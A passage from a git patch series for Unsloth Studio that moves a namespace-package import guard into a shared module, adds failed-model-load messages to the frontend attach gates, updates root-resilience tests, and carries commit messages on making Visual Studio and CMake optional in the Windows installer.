-    finder return a namespace package, so `from unsloth import FastLanguageModel`
-    dies with "cannot import name ... (unknown location)". A normal
-    site-packages install always wins, so only source/editable installs are
-    exposed. Drop the offending entries, import the real packages, then restore
-    sys.path so other modules on those entries keep importing.
-    """
-    import importlib
-    import importlib.util
-
-    bad: set = set()
-    shadowed: list = []
-    for name in names:
-        try:
-            spec = importlib.util.find_spec(name)
-        except (ImportError, ValueError, AttributeError):
-            spec = None
-        # a real package exposes its __init__ via spec.origin; a namespace
-        # shadow has origin None/"namespace" and only search locations
-        if spec is None or spec.origin not in (None, "namespace"):
-            continue
-        dirs = {os.path.realpath(d) for d in (spec.submodule_search_locations or [])}
-        if not dirs:
-            continue
-        shadowed.append(name)
-        for entry in sys.path:
-            pkg = os.path.join(entry or os.getcwd(), name)
-            if os.path.realpath(pkg) in dirs and not os.path.isfile(
-                os.path.join(pkg, "__init__.py")
-            ):
-                bad.add(entry)
-    if not bad:
-        return
-    saved = list(sys.path)
-    sys.path[:] = [e for e in sys.path if e not in bad]
-    for name in shadowed:
-        for cached in [m for m in list(sys.modules) if m == name or m.startswith(name + ".")]:
-            del sys.modules[cached]
-    try:
-        importlib.invalidate_caches()
-        # Import unsloth before unsloth_zoo (names are dependency-first):
-        # unsloth.__init__ runs ROCm/Windows bnb fixes before it imports zoo,
-        # so importing zoo first here would skip them. Repeat import is a no-op.
-        for name in reversed(names):
-            importlib.import_module(name)
-    finally:
-        sys.path[:] = saved
-
+# Drop any unsloth/unsloth_zoo namespace-package shadow before importing them.
+from core.import_guards import ensure_real_packages as _ensure_real_packages
 
 _ensure_real_packages("unsloth_zoo", "unsloth")
 from unsloth import FastLanguageModel, FastVisionModel, is_bfloat16_supported
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 6374589930..4fbdbf21ad 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -3156,6 +3156,10 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
     # ── 1. Import embedding-specific libraries ──
     _send_status(event_queue, "Importing embedding libraries...")
     try:
+        # Recover from a namespace-package shadow (embedding imports unsloth directly).
+        from core.import_guards import ensure_real_packages
+
+        ensure_real_packages("unsloth_zoo", "unsloth")
         from unsloth import FastSentenceTransformer, is_bfloat16_supported
         from sentence_transformers import (
             SentenceTransformerTrainer,
diff --git a/studio/backend/tests/test_namespace_shadow_guard_pr6269.py b/studio/backend/tests/test_namespace_shadow_guard_pr6269.py
index 3ed6636bda..f77345293e 100644
--- a/studio/backend/tests/test_namespace_shadow_guard_pr6269.py
+++ b/studio/backend/tests/test_namespace_shadow_guard_pr6269.py
@@ -1,15 +1,18 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Verification tests for PR #6269 (training-worker namespace-shadow guard).
+"""Verification tests for PR #6269 (namespace-shadow guard).
 
-`_ensure_real_packages` (core/training/trainer.py) drops namespace-package
+`ensure_real_packages` (core/import_guards.py) drops namespace-package
 shadow dirs (a `unsloth`/`unsloth_zoo` dir with no __init__.py on sys.path)
 before `from unsloth import ...`. Order matters: `unsloth.__init__` runs its
 ROCm/Windows bnb fixes before importing unsloth_zoo, so the guard must import
 unsloth first. Each test runs the real guard (ast-extracted from source, no
 GPU/torch) in a subprocess, with fake packages reachable only via a meta path
 finder to mimic an editable/PEP 660 install where the shadow wins.
+
+Originally defined in core/training/trainer.py; extracted to the shared
+core/import_guards.py so the inference, export and embedding workers reuse it.
 """
 
 import json
@@ -21,7 +24,7 @@ from pathlib import Path
 
 import pytest
 
-TRAINER_PY = Path(__file__).resolve().parents[1] / "core" / "training" / "trainer.py"
+GUARD_PY = Path(__file__).resolve().parents[1] / "core" / "import_guards.py"
 
 
 # ── fake package bodies ──────────────────────────────────────────────
@@ -62,17 +65,17 @@ _DRIVER = textwrap.dedent(
 
     cfg = json.load(open(sys.argv[1]))
 
-    # Extract the real _ensure_real_packages from trainer.py source without
-    # importing the heavy module or its `from unsloth import ...` line.
-    src = open(cfg["trainer_py"]).read()
+    # Extract the real ensure_real_packages from import_guards.py source
+    # without importing the heavy module or its `from unsloth import ...` line.
+    src = open(cfg["guard_py"]).read()
     tree = ast.parse(src)
     fn = next(n for n in tree.body
-              if isinstance(n, ast.FunctionDef) and n.name == "_ensure_real_packages")
+              if isinstance(n, ast.FunctionDef) and n.name == "ensure_real_packages")
     mod = ast.Module(body=[fn], type_ignores=[])
     ast.fix_missing_locations(mod)
     ns = {"os": os, "sys": sys}
-    exec(compile(mod, cfg["trainer_py"], "exec"), ns)
-    _ensure_real_packages = ns["_ensure_real_packages"]
+    exec(compile(mod, cfg["guard_py"], "exec"), ns)
+    _ensure_real_packages = ns["ensure_real_packages"]
 
     # Under -S site-packages is off, so a shadow root placed first wins the
     # path finder; the real packages come only from the meta finder below.
@@ -148,7 +151,7 @@ def _run(
     shadow_roots,
     real: bool,
     names = ("unsloth_zoo", "unsloth"),
-    trainer_py: Path = TRAINER_PY,
+    guard_py: Path = GUARD_PY,
     raise_on_invalidate: bool = False,
 ):
     order_file = tmp_path / "order.txt"
@@ -159,7 +162,7 @@ def _run(
         _make_real_pkg(real_root)
 
     cfg = {
-        "trainer_py": str(trainer_py),
+        "guard_py": str(guard_py),
         "shadow_roots": [str(r) for r in shadow_roots],
         "real_root": str(real_root) if real else None,
         "names": list(names),
diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index a9097527be..a58cdd94d7 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -1926,6 +1926,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
           externalModelLabel: externalSelection?.modelId ?? null,
           loadedIsMultimodal: runtime.loadedIsMultimodal,
           modelLoaded: !!params.checkpoint && !runtime.modelLoading,
+          loadError: runtime.lastModelLoadError,
         });
         if (imageGateReason) {
           toast.error(imageGateReason);
diff --git a/studio/frontend/src/features/chat/audio-attachment-adapter.ts b/studio/frontend/src/features/chat/audio-attachment-adapter.ts
index 148f025e57..99a26ed178 100644
--- a/studio/frontend/src/features/chat/audio-attachment-adapter.ts
+++ b/studio/frontend/src/features/chat/audio-attachment-adapter.ts
@@ -39,7 +39,10 @@ export class AudioAttachmentAdapter implements AttachmentAdapter {
     const modelLoaded = !!checkpoint && !state.modelLoading;
     let unavailableReason: string | null = null;
     if (!modelLoaded) {
-      unavailableReason = "Load a model before adding audio files.";
+      // Mirror the image gate: flag a failed load vs "no model picked".
+      unavailableReason = state.lastModelLoadError
+        ? "The last model failed to load. Check the server logs, then load a model before adding audio files."
+        : "Load a model before adding audio files.";
     } else if (!activeModel?.hasAudioInput) {
       const label = activeModel?.name || checkpoint || "Current model";
       unavailableReason = `${label} cannot accept audio. Load an audio-input model before attaching audio files.`;
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index 134878bdac..bbf106400c 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -246,6 +246,9 @@ export function useChatModelRuntime() {
   const setLoras = useChatRuntimeStore((state) => state.setLoras);
   const setParams = useChatRuntimeStore((state) => state.setParams);
   const setModelsError = useChatRuntimeStore((state) => state.setModelsError);
+  const setLastModelLoadError = useChatRuntimeStore(
+    (state) => state.setLastModelLoadError,
+  );
   const setCheckpoint = useChatRuntimeStore((state) => state.setCheckpoint);
   const clearCheckpoint = useChatRuntimeStore((state) => state.clearCheckpoint);
 
@@ -493,6 +496,7 @@ export function useChatModelRuntime() {
         .filter(Boolean)
         .join(" ");
       setModelsError(null);
+      setLastModelLoadError(null); // clear prior failed-load marker
       setLoadToastDismissedState(false);
       const loadInfo = {
         id: modelId,
@@ -1184,6 +1188,7 @@ export function useChatModelRuntime() {
         const message =
           error instanceof Error ? error.message : "Failed to load model";
         setModelsError(message);
+        setLastModelLoadError(message); // load-specific failure for the attach gates
         if (throwOnError) {
           throw error instanceof Error ? error : new Error(message);
         }
@@ -1199,6 +1204,7 @@ export function useChatModelRuntime() {
       resetLoadingUi,
       setLoadToastDismissedState,
       setModelsError,
+      setLastModelLoadError,
       setParams,
     ],
   );
diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
index d08d5ef6af..fbaa4400ed 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -114,6 +114,7 @@ class VisionImageAdapter implements AttachmentAdapter {
       externalModelLabel,
       loadedIsMultimodal: state.loadedIsMultimodal,
       modelLoaded,
+      loadError: state.lastModelLoadError,
     });
     if (unavailableReason) {
       toast.error(unavailableReason);
diff --git a/studio/frontend/src/features/chat/shared-composer.tsx b/studio/frontend/src/features/chat/shared-composer.tsx
index 2adc3ae25a..f35ccc6149 100644
--- a/studio/frontend/src/features/chat/shared-composer.tsx
+++ b/studio/frontend/src/features/chat/shared-composer.tsx
@@ -485,6 +485,7 @@ export function SharedComposer({
   const modelLoaded = useChatRuntimeStore(
     (s) => !!s.params.checkpoint && !s.modelLoading,
   );
+  const lastModelLoadError = useChatRuntimeStore((s) => s.lastModelLoadError);
   const loadedIsMultimodal = useChatRuntimeStore((s) => s.loadedIsMultimodal);
   const supportsReasoning = useChatRuntimeStore((s) => s.supportsReasoning);
   const reasoningAlwaysOn = useChatRuntimeStore((s) => s.reasoningAlwaysOn);
@@ -566,6 +567,7 @@ export function SharedComposer({
     externalModelLabel: externalSelection?.modelId ?? null,
     loadedIsMultimodal,
     modelLoaded,
+    loadError: lastModelLoadError,
   });
   const isCompareMode = Boolean(model1?.id || model2?.id);
   // Attach-time gate. Compare mode defers to send: the catalog can lag a
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index d8e578e790..2ec741b1bf 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -482,6 +482,9 @@ type ChatRuntimeStore = {
   autoTitle: boolean;
   hfToken: string;
   modelsError: string | null;
+  // Set only when a LOAD fails (not refresh/list/unload, which use modelsError);
+  // lets the attach gates flag a failed load vs "no model picked".
+  lastModelLoadError: string | null;
   activeGgufVariant: string | null;
   ggufContextLength: number | null;
   ggufMaxContextLength: number | null;
@@ -660,6 +663,7 @@ type ChatRuntimeStore = {
   setAutoTitle: (enabled: boolean) => void;
   setHfToken: (token: string) => void;
   setModelsError: (error: string | null) => void;
+  setLastModelLoadError: (error: string | null) => void;
   setCheckpoint: (modelId: string, ggufVariant?: string | null) => void;
   setActiveThreadId: (threadId: string | null) => void;
   setActiveProjectId: (projectId: string | null) => void;
@@ -964,6 +968,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   autoTitle: false,
   hfToken: loadString(HF_TOKEN_KEY, ""),
   modelsError: null,
+  lastModelLoadError: null,
   activeGgufVariant: null,
   ggufContextLength: null,
   ggufMaxContextLength: null,
@@ -1159,6 +1164,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     notifyHfTokenChanged(hfToken);
   },
   setModelsError: (modelsError) => set({ modelsError }),
+  setLastModelLoadError: (lastModelLoadError) => set({ lastModelLoadError }),
   setCheckpoint: (modelId, ggufVariant) =>
     set((state) => {
       // Persist external selections so they survive a refresh. Local ids are
diff --git a/studio/frontend/src/features/chat/utils/image-input-support.ts b/studio/frontend/src/features/chat/utils/image-input-support.ts
index d1ea31fc76..9ce6de39ba 100644
--- a/studio/frontend/src/features/chat/utils/image-input-support.ts
+++ b/studio/frontend/src/features/chat/utils/image-input-support.ts
@@ -10,6 +10,7 @@ export function getImageInputUnavailableReason({
   externalModelLabel,
   loadedIsMultimodal,
   modelLoaded,
+  loadError,
 }: {
   activeModel?: ChatModelSummary;
   isExternalModel: boolean;
@@ -21,6 +22,8 @@ export function getImageInputUnavailableReason({
   externalModelLabel?: string | null;
   loadedIsMultimodal: boolean;
   modelLoaded: boolean;
+  // Runtime lastModelLoadError; lets the no-model branch flag a failed load.
+  loadError?: string | null;
 }): string | null {
   if (isExternalModel) {
     const explicitlyNonVision =
@@ -39,7 +42,13 @@ export function getImageInputUnavailableReason({
     }
     return null;
   }
-  if (!modelLoaded) return "Load a model before adding images.";
+  if (!modelLoaded) {
+    // Distinguish a failed load from "no model picked yet".
+    if (loadError) {
+      return "The last model failed to load. Check the server logs, then load a model before adding images.";
+    }
+    return "Load a model before adding images.";
+  }
   // loadedIsMultimodal is true for vision OR audio; that one flag can't tell
   // them apart, so only block when activeModel confirms audio-only (audio
   // capability set AND isVision === false). Otherwise trust the load

From d77845ebc00865c828dd990acbaa90831a142942 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 01:10:49 -0700
Subject: [PATCH 003/306] Update studio root-resilience tests for the
 inference-backend refactor (#6490) (#6553)

* Update studio root-resilience tests for the inference-backend refactor

#6490 moved the studio_root() probe and its (ImportError, OSError, ValueError)
handler out of _find_llama_server_binary / _kill_orphaned_servers into the shared
_resolved_studio_root_and_is_legacy() classifier, and switched the WSL ROCm lib-dir
ordering to lib_dirs.extend(_wsl_system_rocm_lib_dirs()). These source-introspection
tests still asserted the old inline structure, so they fail on main (surfaced by any
PR that trips the Repo tests path filter, e.g. the Windows installer PRs). Point them
at the new structure and assert the defense in its new home; no runtime change.

* Address review: qualify the classifier call and harden helper-body extraction

Assert the callers invoke LlamaCppBackend._resolved_studio_root_and_is_legacy()
through the class namespace (more precise than the bare name), and end the
helper-source slice at the next sibling def/decorator at the same indent instead
of the literal @staticmethod string, so a future docstring that mentions a
decorator can't truncate the helper mid-body and break exec().

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 tests/studio/install/test_rocm_support.py    |  2 +-
 tests/test_studio_install_workspace_guard.py | 20 ++++--
 tests/test_studio_root_resilience.py         | 74 ++++++++++++++------
 3 files changed, 65 insertions(+), 31 deletions(-)

diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index 8e0b5d1b7f..6915269cec 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -3375,7 +3375,7 @@ class TestLlamaCppRuntimeWslOrdering:
 
     def test_prepends_before_binary_dir(self):
         source = _LLAMA_CPP_PATH.read_text(encoding = "utf-8")
-        idx_helper = source.find("for _wsl_rocm in _wsl_system_rocm_lib_dirs()")
+        idx_helper = source.find("lib_dirs.extend(_wsl_system_rocm_lib_dirs())")
         idx_binary = source.find("lib_dirs.append(binary_dir)")
         assert idx_helper != -1 and idx_binary != -1
         assert idx_helper < idx_binary
diff --git a/tests/test_studio_install_workspace_guard.py b/tests/test_studio_install_workspace_guard.py
index 68c1a2db50..89836cfb0d 100644
--- a/tests/test_studio_install_workspace_guard.py
+++ b/tests/test_studio_install_workspace_guard.py
@@ -771,7 +771,10 @@ def test_main_py_read_studio_install_id_validates_hex_and_handles_missing(tmp_pa
 
 
 def test_llama_cpp_search_roots_handles_studio_root_oserror():
-    """_find_llama_server_binary must catch (ImportError, OSError, ValueError) from studio_root() like its sibling."""
+    """Root resolution must catch (ImportError, OSError, ValueError) from studio_root().
+    Discovery (_find_llama_server_binary) and cleanup (_kill_orphaned_servers) both
+    delegate to the shared _resolved_studio_root_and_is_legacy() classifier, which
+    holds the handler so the two never disagree on which root is legacy."""
     llama_cpp = (
         REPO_ROOT / "studio" / "backend" / "core" / "inference" / "llama_cpp.py"
     ).read_text()
@@ -783,12 +786,15 @@ def test_llama_cpp_search_roots_handles_studio_root_oserror():
         nxt = llama_cpp.find(f"\n{indent}def ", start + 1)
         return llama_cpp[start : nxt if nxt != -1 else len(llama_cpp)]
 
-    assert "except (ImportError, OSError, ValueError):" in _method_body(
-        "_find_llama_server_binary"
-    ), "_find_llama_server_binary must catch (ImportError, OSError, ValueError) from studio_root()"
-    assert "except (ImportError, OSError, ValueError):" in _method_body(
-        "_kill_orphaned_servers"
-    ), "sibling _kill_orphaned_servers must keep its (ImportError, OSError, ValueError) handler"
+    assert (
+        "except (ImportError, OSError, ValueError):"
+        in _method_body("_resolved_studio_root_and_is_legacy")
+    ), "_resolved_studio_root_and_is_legacy must catch (ImportError, OSError, ValueError) from studio_root()"
+    # Both callers must route through the shared classifier so neither crashes.
+    for caller in ("_find_llama_server_binary", "_kill_orphaned_servers"):
+        assert "LlamaCppBackend._resolved_studio_root_and_is_legacy()" in _method_body(
+            caller
+        ), f"{caller} must resolve the install root via the shared classifier"
 
 
 def test_install_sh_install_id_survives_symlinked_studio_home(tmp_path):
diff --git a/tests/test_studio_root_resilience.py b/tests/test_studio_root_resilience.py
index 5b835f770b..0dfb826376 100644
--- a/tests/test_studio_root_resilience.py
+++ b/tests/test_studio_root_resilience.py
@@ -3,7 +3,6 @@
 from __future__ import annotations
 
 import importlib.util
-import re
 import sys
 import textwrap
 from pathlib import Path
@@ -53,36 +52,55 @@ def test_studio_root_does_not_crash_on_permission_error(tmp_path, monkeypatch):
     assert result == Path.home() / ".unsloth" / "studio"
 
 
+def _method_body(src: str, name: str) -> str:
+    """Whole method body (def to next sibling def at the same indent)."""
+    start = src.index(f"def {name}")
+    indent = " " * (start - src.rfind("\n", 0, start) - 1)
+    nxt = src.find(f"\n{indent}def ", start + 1)
+    return src[start : nxt if nxt != -1 else len(src)]
+
+
 def test_kill_orphan_catches_oserror_from_studio_root():
-    """_kill_orphaned_servers must catch (ImportError, OSError, ValueError) on the studio_root() probe."""
+    """Cleanup must not crash when studio_root() raises. _kill_orphaned_servers
+    resolves the install root through the shared _resolved_studio_root_and_is_legacy()
+    classifier, which swallows (ImportError, OSError, ValueError) on the probe."""
     src = LLAMA_CPP.read_text()
-    fn_start = src.index("def _kill_orphaned_servers")
-    fn_body = src[fn_start : fn_start + 4000]
-    # The studio_root() probe imports as `_sr` and assigns `_resolved_sr = _sr()`.
-    probe_idx = fn_body.index("storage_roots import studio_root as _sr")
-    # The matching except is the next one after the inner resolve() block.
-    after = fn_body[probe_idx:]
-    # Skip the inner `except (OSError, ValueError):` that wraps resolve().
-    inner_idx = after.index("except (OSError, ValueError):")
-    after_inner = after[inner_idx + len("except (OSError, ValueError):") :]
-    outer_match = re.search(r"except\s*\(?[^)]*?\)?:", after_inner)
-    assert outer_match, "outer except for studio_root probe missing"
-    clause = outer_match.group(0)
-    assert (
-        "OSError" in clause and "ValueError" in clause
-    ), f"_kill_orphaned_servers studio_root probe catch too narrow: {clause!r}"
+    # Cleanup delegates to the shared classifier rather than importing studio_root inline.
+    assert "LlamaCppBackend._resolved_studio_root_and_is_legacy()" in _method_body(
+        src, "_kill_orphaned_servers"
+    ), "_kill_orphaned_servers must resolve the root via _resolved_studio_root_and_is_legacy()"
+    # The shared classifier catches both the resolve() failure and the outer studio_root() probe.
+    classifier = _method_body(src, "_resolved_studio_root_and_is_legacy")
+    assert "studio_root as _sr" in classifier, "classifier must probe studio_root()"
+    assert "except (OSError, ValueError):" in classifier, "inner resolve() probe must be guarded"
+    assert "except (ImportError, OSError, ValueError):" in classifier, (
+        "_resolved_studio_root_and_is_legacy must catch (ImportError, OSError, ValueError) "
+        "from studio_root()"
+    )
 
 
 def _exec_search_roots_block(
     home: Path, studio_root_value: Path, resolve_raises: bool
 ) -> list[Path]:
-    """Extract and run _find_llama_server_binary's env-mode search_roots block with controlled inputs."""
+    """Run _find_llama_server_binary's search_roots derivation -- plus the shared
+    _resolved_studio_root_and_is_legacy() classifier it delegates to -- with a
+    controlled studio_root() and resolve(), without importing the heavy module."""
     src = LLAMA_CPP.read_text()
+    # Shared root classifier (holds the defensive try/except for studio_root()).
+    # End the slice at the next sibling def/decorator at the same indent rather
+    # than the literal "@staticmethod" string, so a future docstring mentioning a
+    # decorator can't truncate the helper mid-body and break exec().
+    helper_start = src.index("def _resolved_studio_root_and_is_legacy")
+    indent = " " * (helper_start - src.rfind("\n", 0, helper_start) - 1)
+    nxt_def = src.find(f"\n{indent}def ", helper_start + 1)
+    nxt_dec = src.find(f"\n{indent}@", helper_start + 1)
+    sibling = [idx for idx in (nxt_def, nxt_dec) if idx != -1]
+    helper_end = min(sibling) if sibling else len(src)
+    helper = textwrap.dedent(src[helper_start:helper_end])
+    # search_roots derivation inside _find_llama_server_binary (delegates to the classifier).
     block_start = src.index('legacy_llama = Path.home() / ".unsloth" / "llama.cpp"')
-    block_end = src.index("_seen_roots: set[str]", block_start)
-    raw = src[block_start:block_end]
-    indent = " " * 8
-    block = textwrap.dedent(indent + raw)
+    block_end = src.index("for unsloth_home in search_roots:", block_start)
+    block = textwrap.dedent(" " * 8 + src[block_start:block_end])
     fake_module = type(sys)("fake_storage_roots")
     fake_module.studio_root = lambda: studio_root_value
     sys.modules["utils.paths.storage_roots"] = fake_module
@@ -99,7 +117,17 @@ def _exec_search_roots_block(
             mock.patch.object(Path, "resolve", _resolve),
         ):
             ns: dict = {"Path": Path}
-            exec(block, ns)  # noqa: S102
+            exec(helper, ns)  # noqa: S102  -- defines _resolved_studio_root_and_is_legacy
+            ns["LlamaCppBackend"] = type(
+                "LlamaCppBackend",
+                (),
+                {
+                    "_resolved_studio_root_and_is_legacy": staticmethod(
+                        ns["_resolved_studio_root_and_is_legacy"]
+                    )
+                },
+            )
+            exec(block, ns)  # noqa: S102  -- defines search_roots
         return ns["search_roots"]
     finally:
         sys.modules.pop("utils.paths.storage_roots", None)

From a41b8c7a4418e564432630ba2bdc86b9c09a51e3 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 01:11:09 -0700
Subject: [PATCH 004/306] Make Visual Studio + CMake optional on Windows
 (prebuilt llama.cpp needs no build tools) (#6499)

* studio/setup.ps1: complete Visual Studio 2026 support for the CUDA llama.cpp build

Builds on #6038 (VS 2026 / v18 detection). Once the generator is detected as
Visual Studio 18 2026, two things still broke the CUDA llama.cpp build:

- the CUDA to VS MSBuild integration copied the CUDA .targets into a hardcoded
  VC\v170 (VS 2022) BuildCustomizations folder, so a VS 2026 (v180) toolchain
  saw no CUDA toolset and cmake failed with "No CUDA toolset found".
- cmake was installed with no version check, but the "Visual Studio 18 2026"
  generator requires CMake 4.2+.

This adds Get-VcBuildCustomizationsDir (derives v160/v170/v180 from the detected
generator, falls back to v170), a CMake 4.2 guard for the VS 2026 generator
(upgrades via winget once, else fails with a clear message), and routes both the
copy target and the failure hint through the derived path.

No behavior change for VS 2022/2019/2017: the folder resolves to v170 and the
guard is skipped. Adds windows-latest Pester unit tests (tests/studio_setup_ps1)
plus a workflow that runs them.

* Address review: make VS 2026 self-contained + gate CMake guard to source build

- Find-VsBuildTools now detects VS 2026: vswhere catalog_productLineVersion 2026
  -> "Visual Studio 18 2026", and the filesystem scan covers the "18"/"2026" dirs
  (incl. non-standard editions like Preview). Adapted from #6038 by
  @LeoBorcherding, so the v180 BuildCustomizations path and the CMake guard are
  actually reachable on a VS 2026-only host.
- Move the CMake 4.2 guard out of Phase 1 into the committed-source-build branch.
  The preferred prebuilt llama.cpp path never reaches it, so a VS 2026 host on
  CMake < 4.2 is no longer blocked from using the prebuilt.
- winget upgrade -> install fallback when the on-PATH cmake is not the Kitware
  winget package, and log winget failures instead of swallowing them.
- Add a windows-latest Find-VsBuildTools VS 2026 discovery regression test.

* tests(vs2026): define New-FakeVsTree in BeforeAll so It blocks can see it

The Find-VsBuildTools discovery tests are Windows-only (-Skip on non-Windows),
so they first ran on the windows-latest Pester job, where New-FakeVsTree raised
CommandNotFoundException: it was defined in the Describe body, which Pester 5
executes only during discovery, so the function did not persist into the
run-phase It scope. Move it into a BeforeAll block (which runs in the run phase
and is visible to the It blocks). No production code change.

* Address review: probe cmake generator support, fall back to older VS, fix cmake PATH after winget

The VS 2026 CMake guard previously gated only on the cmake version (>= 4.2)
and hard-failed otherwise. Review on #6473 raised three real gaps:

- A VS-bundled cmake below 4.2 can still drive the VS 2026 generator. Probe
  cmake --help (Test-CmakeListsGenerator / Test-CmakeCanDriveGenerator) and
  accept it when the generator is advertised, not just on the version floor.
- After winget upgrade/install, an older cmake earlier on PATH kept being
  resolved. Add-DefaultCmakeToPath prepends the default install dir so the new
  cmake wins before re-probing.
- When cmake cannot drive VS 2026 but an older Visual Studio (2022/2019/2017)
  is installed and usable, fall back to it (Get-FallbackVsGenerator) instead of
  hard-failing, preserving the pre-VS-2026 build path.

Tests mock the cmake command rather than dropping a shim on PATH: PowerShell
caches its application-path table, so a real cmake on the runner (present on
windows-latest) wins over a PATH shim. A function mock is resolved first and is
cache-proof cross-platform.

* Detect VS installed under the Preview edition dir for older versions

Find-VsBuildTools already scans every subdir for VS 2026, but the older-version
(2017/2019/2022) filesystem fallback and Get-FallbackVsGenerator only checked
BuildTools/Community/Professional/Enterprise. A Preview-channel install lives
under a 'Preview' edition folder, so it was missed when vswhere was also
unavailable. Add 'Preview' to both edition lists and guard each with a Windows
Pester test.

* Add real-VS integration matrix: detect actual VS 2022 and VS 2026 in parallel

The unit tests validate VS detection logic with mocked vswhere and fake install
trees (all five versions). This adds a parallel integration job that runs the
real Find-VsBuildTools / Get-VcBuildCustomizationsDir against the Visual Studio
actually preinstalled on GitHub-hosted runners:
  - windows-2022        -> real Visual Studio 2022, expect generator v170
  - windows-2025-vs2026 -> real Visual Studio 2026, expect generator v180
It asserts our detection matches the real install, the install path exists, the
derived toolset matches, and that the derived v-number is a real folder on the VS
install. VS 2017/2019/2015 are retired from hosted images, so only 2022 and 2026
can be exercised against a genuine install; the rest stay covered by the mocks.

* Detect VS 2026 via vswhere: it reports productLineVersion '18', not '2026'

Real-VS CI on the windows-2025-vs2026 runner showed vswhere reports
catalog_productLineVersion='18' (the internal major) for Visual Studio 2026, not
the marketing year '2026' that VS <= 2022 report. The vswhere map only had
'2026', so on a real VS 2026 host the vswhere branch returned null and detection
survived only via the filesystem scan (Source='filesystem'); a VS 2026 installed
outside the default Program Files location would not be found at all.

Extract a pure Resolve-VsGeneratorFromLabel that accepts both the year and the
internal-major form ('18'/'17'/'16'/'15' as well as '2026'/'2022'/'2019'/'2017')
and use it for both the vswhere and filesystem branches. Add pure unit tests
(cross-platform) for the mapping, including the '18' -> VS 2026 case.

* ci: dot-source Resolve-VsGeneratorFromLabel in the real-VS integration job

Find-VsBuildTools now calls Resolve-VsGeneratorFromLabel, so the integration
step must extract it too; without it the job failed with the helper not
recognized.

* Defer Visual Studio + CMake to the llama.cpp source build (prebuilt path needs no build tools)

The Windows installer required Visual Studio Build Tools and CMake eagerly in
Phase 1 (winget install + exit 1 if absent), before the llama.cpp prebuilt-vs-
source decision. But the preferred path downloads a prebuilt llama.cpp (no
compiler), the backend only shells out to the prebuilt llama-server.exe, and
PyTorch is pip wheels -- so VS and CMake are only needed for the from-source
build last resort. The eager requirement forced every Windows user to install
multi-GB Visual Studio + CMake they never use, or the installer failed.

Change (mirrors the already-lazy Resolve-CudaToolkit / OpenSSL):
- Phase 1c/1d now only DETECT cmake / VS and log; they never winget-install or
  exit. The prebuilt install runs zero build-tool installs and is unblocked on
  hosts without build tools.
- New Ensure-BuildToolsForLlamaSourceBuild installs CMake (best effort) + VS
  (hard requirement, exit 1 with the existing guidance if it cannot be found),
  called only when a source build is actually committed, before
  Resolve-CudaToolkit. git stays eager (pip needs it for git+ deps).

Tests:
- Pester: the early probe (Find-VsBuildTools) returns null without exiting when
  no VS is present; Ensure-BuildToolsForLlamaSourceBuild no-ops when VS is
  already detected.
- New studio-windows-no-vs-smoke.yml: Job A renames Visual Studio + vswhere away
  and hides cmake, runs the real install.ps1 --local --no-torch, and asserts the
  prebuilt llama.cpp installed (no source-build fallback, no VS/CMake install),
  PyTorch CPU imports, the backend is healthy, and a /v1/chat/completions
  inference returns a reply -- all with no Visual Studio. Job B confirms the GPU
  CUDA prebuilt is available and the resolver runs without VS.

* Fix VS 2026 CUDA source build ordering and fallback VS discovery

Same fix as on the stacked base branch (studio-vs2026-cuda-msbuild):

- Move Resolve-CudaToolkit below the CMake gate/fallback in the source build path. It copies the CUDA MSBuild .targets into the current VS generator's BuildCustomizations folder, so running it before a VS 2026 to older-VS fallback left the .targets under v180 while cmake configured v170 ("No CUDA toolset found"). It now runs after the final generator is selected.
- Get-FallbackVsGenerator now queries vswhere first, matching Find-VsBuildTools, so a VS installed outside the default Program Files roots is found instead of failing with a hard exit.
- Add Pester regression tests: the source build resolves CUDA after the fallback, and the fallback queries vswhere.

* Ensure the Visual C++ Redistributable is present for the prebuilt llama.cpp and PyTorch

The prebuilt llama-server.exe and the PyTorch wheels dynamically link the MSVC runtime (VCRUNTIME140.dll, MSVCP140.dll, VCRUNTIME140_1.dll). The Universal CRT ships with Windows 10+, but the VC++ 2015-2022 redistributable does not, so a clean box can fail to launch llama-server or import torch with a missing VCRUNTIME140.dll.

- Add Test-VCRedistInstalled (System32 vcruntime140_1.dll, with a registry fallback gated on version 14.20+) and Ensure-VCRedist (winget Microsoft.VCRedist.2015+.x64, non-fatal), called as Phase 1b.5 so it runs even on the no-build-tools prebuilt path. It is a no-op when the runtime is already present, which is the common case.
- Add Pester tests for the detection: present via the DLL, present via the registry, absent, and an old 2015-only redist that is too low.

* Add a CI job that validates the VC++ runtime detection on a real Windows runner

